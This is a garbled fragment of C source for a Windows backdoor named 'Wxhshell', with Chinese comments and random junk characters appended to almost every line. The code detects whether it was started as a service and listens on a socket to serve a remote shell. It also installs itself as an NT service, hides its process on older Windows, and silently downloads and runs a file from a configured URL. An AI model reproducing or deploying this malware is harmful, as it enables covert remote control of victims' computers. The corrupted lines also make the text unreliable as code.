ULONG UniqueProcessId; +
f67y
ULONG InheritedFromUniqueProcessId; ri{*\LV*@
} PROCESS_BASIC_INFORMATION; P:'wSE91
D!~ Y"4<
PROCNTQSIP NtQueryInformationProcess; btuG%D{a^
Bib<ySCre
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :EV.nD7
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $XhMI;h
8X,6U_>#a
HANDLE hProcess; ~pRgTXbz
PROCESS_BASIC_INFORMATION pbi; #SHeK 4
*)Qv;'U=rn
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }n==^2
if(NULL == hInst ) return 0; wtek5C^
\Osu1]Jn>
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `MVqd16Y
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G x[ZHpy;
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aj`&ca8
fs
ufYIf
if (!NtQueryInformationProcess) return 0; J,?#O#j
\EfX3ghPI
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 49MEGl;K0\
if(!hProcess) return 0; F"]P|
- Z,Qj"V
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L[Vk 6e
(zo7h
CloseHandle(hProcess); !kE5]<H\
5!F;|*vC8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cX-M9Cz
if(hProcess==NULL) return 0; N]+6<
Q~(Gll;
HMODULE hMod; "io O_
char procName[255]; wmr?ANk
unsigned long cbNeeded; ^Gk`n
zTg\\z;
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XZIapT
'|IcL1c=I
CloseHandle(hProcess); l
;:IL\*1I
}Z"iW/?"
if(strstr(procName,"services")) return 1; // 以服务启动 0VNLhM(LM
>s^$-
return 0; // 注册表启动 [7@g*!+d
} G}pFy0W\S
{U=J>#@G
// 主模块 Wzl/ @CPM
int StartWxhshell(LPSTR lpCmdLine) bCw{9El!K4
{ ?#K.D vGJ
SOCKET wsl; *C*ZmC5
BOOL val=TRUE; n-ffX*zA(
int port=0; uE's&H
struct sockaddr_in door; 4EqThvI{
}93kHO{
if(wscfg.ws_autoins) Install(); Cb ;6yE)!Z
AY/.vyS
port=atoi(lpCmdLine); vXDs/,`r
:lB*km g
if(port<=0) port=wscfg.ws_port; x0<;Rm [u=
.#yg=t1C
WSADATA data; \(\a=
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EwPrh
&ys>z<Z
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Q>{$Aqc,e
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c| ?(>
door.sin_family = AF_INET; ~tp]a]yV
door.sin_addr.s_addr = inet_addr("127.0.0.1"); $f
=`fPo
door.sin_port = htons(port); zq};{~u(
rwq
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eS8(HI6{^
closesocket(wsl); 59Pc:Gg;
return 1; R0-0
} bB_LL
J p=qPG|
if(listen(wsl,2) == INVALID_SOCKET) { ?J:w,,4m
closesocket(wsl); <[db)r~c
return 1; vywB{%p
} ZexC3LD"
Wxhshell(wsl); cI2Ps3~"Q
WSACleanup(); o+1(N#?m9
R:~aX,qR
return 0; 81Kf X {|
dtR"5TL<~}
} ['mpxtG
k)b{UFRW
// 以NT服务方式启动 7h
54j
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W[&nQW$E
{ <&E}db
DWORD status = 0; =2p?_.|'
DWORD specificError = 0xfffffff; (kxS0 ]=
o,rF 15
serviceStatus.dwServiceType = SERVICE_WIN32; KR?;7*qF
serviceStatus.dwCurrentState = SERVICE_START_PENDING; !P A:#]J
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6F(z6_<
serviceStatus.dwWin32ExitCode = 0; 0>|q[SC
serviceStatus.dwServiceSpecificExitCode = 0; ^EUR#~b5iy
serviceStatus.dwCheckPoint = 0; MLdwf}[
serviceStatus.dwWaitHint = 0; 2b$>1O&2
V8n {k'
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,XT,t[w
if (hServiceStatusHandle==0) return; ,%9XG077
S\:^#Yi`
status = GetLastError(); .\XRkr'-
if (status!=NO_ERROR) ]K(a32V CH
{ ,j%\3g`
serviceStatus.dwCurrentState = SERVICE_STOPPED; QEJu.o
serviceStatus.dwCheckPoint = 0; ^OY$
W
serviceStatus.dwWaitHint = 0; }WsPu o
serviceStatus.dwWin32ExitCode = status; M}|(:o3Yo
serviceStatus.dwServiceSpecificExitCode = specificError; 07.p
{X R
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [edF'7La
return; eHgr"f*7
} CF;Gy L1M
{I{ 0rV
serviceStatus.dwCurrentState = SERVICE_RUNNING; wiN0|h>,
serviceStatus.dwCheckPoint = 0; Dge#e
serviceStatus.dwWaitHint = 0; >6C\T@{lJ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5=TgOS]R
} r8m}B#W7
a OmG, +o
// 处理NT服务事件,比如:启动、停止 J*zzjtY( 1
VOID WINAPI NTServiceHandler(DWORD fdwControl) Al
yJ!f"Y
{ f+:iz'b#U
switch(fdwControl) $wM..ee
{ (:bf m
case SERVICE_CONTROL_STOP: /4r2B.91O
serviceStatus.dwWin32ExitCode = 0; {vD$od i
serviceStatus.dwCurrentState = SERVICE_STOPPED; }_lG2#Ll5
serviceStatus.dwCheckPoint = 0; q2%cLbI
F
serviceStatus.dwWaitHint = 0; [Hx}#Kds
{ !RKuEg4hQ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3/RwCtc
} ;#Po}8Y=
return; ?T/4
=
case SERVICE_CONTROL_PAUSE: k4sV6f
serviceStatus.dwCurrentState = SERVICE_PAUSED; ^2'Y=g>
break; Y][12{I{
case SERVICE_CONTROL_CONTINUE: LW<LgN"L-
serviceStatus.dwCurrentState = SERVICE_RUNNING; V6merT79
break; I$"Z\c8;
case SERVICE_CONTROL_INTERROGATE: .F ?ww}2p]
break; /g u
VA
}; "(mJupI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); I"x'
} *8)?ZZMM
C1-U2@
// 标准应用程序主函数 :-x?g2MY
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5X0ex.
{ +`F(wk["m
K\-N'M!Z
// 获取操作系统版本 v6)QLp
OsIsNt=GetOsVer(); xsZN@hT
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?w/p 9j#
|lLe^FM
// 从命令行安装 a#1r'z~]}
if(strpbrk(lpCmdLine,"iI")) Install(); =o(}=T>:"
R,T 0!f
// 下载执行文件 'ON/WKJr|W
if(wscfg.ws_downexe) { le5@WG/x
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) URVW5c
WinExec(wscfg.ws_filenam,SW_HIDE); >)K3
} !/}4_s`,
/o4_rzR?
if(!OsIsNt) { UA.Tp [u
// 如果时win9x,隐藏进程并且设置为注册表启动 s~,!E
HideProc(); s$(%]~P
StartWxhshell(lpCmdLine); S\Z*7j3;M
} S[L@8z.Sj
else 4<s;xSCL
if(StartFromService()) \gP?uJ
// 以服务方式启动 +vZYuEq_
StartServiceCtrlDispatcher(DispatchTable); 4b}p[9k
else xiW}P% bf
// 普通方式启动 wQ(DX!
StartWxhshell(lpCmdLine); Cx;it/8+
A6szTX#0
return 0; TY]0aw2]|7
}